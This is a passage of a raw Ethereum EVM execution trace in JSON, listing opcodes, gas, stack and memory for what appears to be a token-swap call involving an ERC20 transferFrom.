e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12533,"op":"PUSH1","gas":77320,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12535,"op":"PUSH1","gas":77317,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12537,"op":"SHL","gas":77314,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12538,"op":"SUB","gas":77311,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12539,"op":"DUP4","gas":77308,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12540,"op":"DUP2","gas":77305,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12541,"op":"AND","gas":77302,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12542,"op":"PUSH1","gas":77299,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12544,"op":"DUP4","gas":77296,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12545,"op":"ADD","gas":77293,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x44","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12546,"op":"MSTORE","gas":77290,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000